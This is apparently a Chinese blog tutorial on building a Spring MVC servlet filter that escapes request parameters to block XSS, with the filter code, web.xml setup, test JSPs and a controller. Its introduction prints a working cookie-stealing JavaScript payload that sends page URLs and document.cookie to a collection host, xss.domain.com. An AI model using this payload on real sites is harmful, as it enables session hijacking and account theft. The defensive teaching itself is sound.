在SpringMVC中使用過濾器(Filter)過濾容易引發XSS的危險字符

一 簡介

如題所示,如果不在服務端對用戶的輸入信息進行過濾,然後該參數又直接在前臺頁面中展示,毫無疑問將會容易引發XSS***(跨站腳本***),比如說這樣:

form表單中有這麼一個字段:

<input type="text" id="author" name="author" placeholder="暱稱" />

然後潛在***者在該字段上填入以下內容:

<script>alert('XSS')</script>

緊接着服務端忽略了“一切來至其他系統的數據都存在安全隱患”的原則,並沒有對來至用戶的數據進行過濾,導致了直接在前臺頁面中進行展示。很顯然直接彈窗了:

wKioL1hHf4Px53GGAAA-9cgWE1M461.png

當然,這裏僅僅只是一個無傷大雅的彈窗,如果是惡意的***者呢?他可能會利用這個漏洞盜取cookie、篡改網頁,甚至是配合CSRF漏洞僞造用戶請求,形成大規模爆發的蠕蟲病毒等等。

比如說遠程加載這麼一個js將會導致用戶的cookie被竊取:

(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

然後將可以在自己搭建的XSS平臺中收到信息,比如像這樣:

wKiom1hHf7HicAJ4AAA6kVLuM0s231.png

注:因爲我在這個demo程序裏沒有設置cookie,因此cookie那一欄顯示爲空白

當然,值得慶幸的是,像國內一些主流的瀏覽器(如:360瀏覽器、獵豹瀏覽器)對這類常見的XSS payload都進行了過濾,查看網頁源代碼可以發現這些危險的字符均使用了鮮豔的紅色字體進行了標註,同時該腳本並不能成功地執行:

wKiom1hHf8ziHpgpAAAeB1jod0Y439.png

二 使用Filter過濾容易引發XSS的危險字符

(1)自定義一個過濾用的Filter:

package cn.zifangsky.filter;

import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {
	private String exclude = null;  //不需要過濾的路徑集合
	private Pattern pattern = null;  //匹配不需要過濾路徑的正則表達式
	
	public void setExclude(String exclude) {
		this.exclude = exclude;
		pattern = Pattern.compile(getRegStr(exclude));
	}
	
	/**
	 * XSS過濾
	 */
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
			throws ServletException, IOException {
		String requestURI = request.getRequestURI();
		if(StringUtils.isNotBlank(requestURI))
			requestURI = requestURI.replace(request.getContextPath(),"");
		
		if(pattern.matcher(requestURI).matches())
			filterChain.doFilter(request, response);
		else{
			EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
			filterChain.doFilter(escapeScriptwrapper, response);
		}
	}
	
	/**
	 * 將傳遞進來的不需要過濾得路徑集合的字符串格式化成一系列的正則規則
	 * @param str 不需要過濾的路徑集合
	 * @return 正則表達式規則
	 * */
	private String getRegStr(String str){
		if(StringUtils.isNotBlank(str)){
			String[] excludes = str.split(";");  //以分號進行分割
			int length = excludes.length;
			for(int i=0;i<length;i++){
				String tmpExclude = excludes[i];
				//對點、反斜槓和星號進行轉義
				tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

				tmpExclude = "^" + tmpExclude + "$";
				excludes[i] = tmpExclude;
			}
			return StringUtils.join(excludes, "|");
		}
		return str;
	}
	
	/**
	 * 繼承HttpServletRequestWrapper,創建裝飾類,以達到修改HttpServletRequest參數的目的
	 * */
	private class EscapeScriptwrapper extends HttpServletRequestWrapper{
		private Map<String, String[]> parameterMap;  //所有參數的Map集合
		public EscapeScriptwrapper(HttpServletRequest request) {
			super(request);
			parameterMap = request.getParameterMap();
		}
		
		//重寫幾個HttpServletRequestWrapper中的方法
		/**
		 * 獲取所有參數名
		 * @return 返回所有參數名
		 * */
		@Override
		public Enumeration<String> getParameterNames() {
			Vector<String> vector = new Vector<String>(parameterMap.keySet());
			return vector.elements();
		}
		
		/**
		 * 獲取指定參數名的值,如果有重複的參數名,則返回第一個的值
		 * 接收一般變量 ,如text類型
		 * 
		 * @param name 指定參數名
		 * @return 指定參數名的值
		 * */
		@Override
		public String getParameter(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				return escapeXSS(results[0]);
			}
		}

		/**
		 * 獲取指定參數名的所有值的數組,如:checkbox的所有數據
		 * 接收數組變量 ,如checkobx類型
		 * */
		@Override
		public String[] getParameterValues(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				int length = results.length;
				for(int i=0;i<length;i++){
					results[i] = escapeXSS(results[i]);
				}
				return results;
			}
		}
		
		/**
		 * 過濾字符串中的js腳本
		 * 解碼:StringEscapeUtils.unescapeXml(escapedStr)
		 * */
		private String escapeXSS(String str){
			str = StringEscapeUtils.escapeXml(str);
			
			Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
			Matcher tmpMatcher = tmpPattern.matcher(str);
			if(tmpMatcher.find()){
				str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
			}
			return str;
		}
	}

}

(2)在web.xml文件中將該過濾器放在最前面或者是字符編碼過濾器之後:

	<filter>
		<filter-name>xssFilter</filter-name>
		<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
		<init-param>
			<param-name>exclude</param-name>
			<param-value>/;/scripts/*;/styles/*;/p_w_picpaths/*</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>xssFilter</filter-name>
		<url-pattern>*.html</url-pattern>
		<!-- 直接從客戶端過來的請求以及通過forward過來的請求都要經過該過濾器 -->
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher>
	</filter-mapping>

關於這個自定義的過濾器,我覺得有以下幾點需要簡單說明下:

i)我這裏爲了方便,沒有自己手動寫很多過濾規則,只是使用了commons-lang3-3.2.jar 這個jar包中的 StringEscapeUtils 這個方法類來進行過濾。在這個類中有以下幾種過濾方法,分別是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。關於這幾種方法分別是如何進行過濾的可以自行查閱官方文檔或者自己動手寫一個簡單的Demo進行測試。當然,我這裏使用的是escapeXml這個方法進行過濾

ii)因爲一個web工程中通常會存在js、CSS、圖片這類靜態資源目錄的,很顯然這些目錄是不需要進行過濾的。因此我也做了這方面的處理,代碼很簡單,看看上面的例子就明白了,或者可以看看我的這篇文章:https://www.zifangsky.cn/647.html

iii)關於“在Filter中修改HttpServletRequest中的參數”這個問題,只需要自定義一個類繼承與HttpServletRequestWrapper 這個類,然後複寫幾個方法即可。如果對這方面不太理解的同學可以看看我的這篇文章:https://www.zifangsky.cn/677.html

iv)在上面的過濾器中,我在escapeXSS(String str) 這個方法的後面還針對“# onerror=javascript:alert(123)” 這種語句進行了專門的過濾。不過不過濾的話問題也不大,我覺得最多就是出現個彈窗,因爲把尖括號和引號都給轉義了,並不能夠執行一些比較危險的操作

(3)兩個測試的前臺頁面:

i)form表單頁面input.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		Please input you want to say:
		<form action="show.html" method="post">
			<table>
				<tr>
					<td><input type="text" id="author" name="author" placeholder="暱稱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="email" name="email" placeholder="郵箱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="url" name="url"placeholder="網址"></td>
				</tr>
				<tr>
					<td><textarea name="comment" rows="5" placeholder="來都來了,何不XSS一下"></textarea></td>
				</tr>
				<tr>
					<td align="center"><input type="submit" value="Go" />
				</tr>	
			</table>
		</form>
	</div>
</body>
</html>

ii)結果顯示頁面show.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		<table>
			<tr>
				<td>暱稱:</td><td>${author}</td>
			</tr>
			<tr>
				<td>郵箱:</td><td>${email}</td>
			</tr>
			<tr>
				<td>網址:</td><td>${url}</td>
			</tr>
			<tr>
				<td>留言:</td><td>${comment}</td>
			</tr>
			<!-- <tr>
				<td><img alt="x" src=${comment}></td>
			</tr> -->
		</table>
	</div>
</body>
</html>

(4)測試用的Controller:

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class CommentController {
	
	/**
	 * 獲取留言並在頁面展示
	 * */
	@RequestMapping("/show.html")
	public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
			@RequestParam(name = "email", required = false) String email,
			@RequestParam(name = "url", required = false) String url,
			@RequestParam(name = "comment", required = false) String comment) {
		
		ModelAndView mAndView = new ModelAndView("show");
		mAndView.addObject("author", author);
		mAndView.addObject("email", email);
		mAndView.addObject("url", url);
		mAndView.addObject("comment", comment);
		
		return mAndView;
	}
}

這裏的代碼邏輯很簡單,因此就不多做解釋了

(5)測試:

測試的效果如下:

wKioL1hHgFLz_0yhAAAquj5BVkU078.png

對應的網頁源代碼是這樣的:

wKiom1hHgG2jmiW1AAA4tn1f65k425.png

可以看出,我們的目標已經成功實現了,本篇文章到此結束

PS:上面圖片中的水印是我個人博客的域名,因此還請管理員手下留情不要給我標爲“轉載文章”,謝謝!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章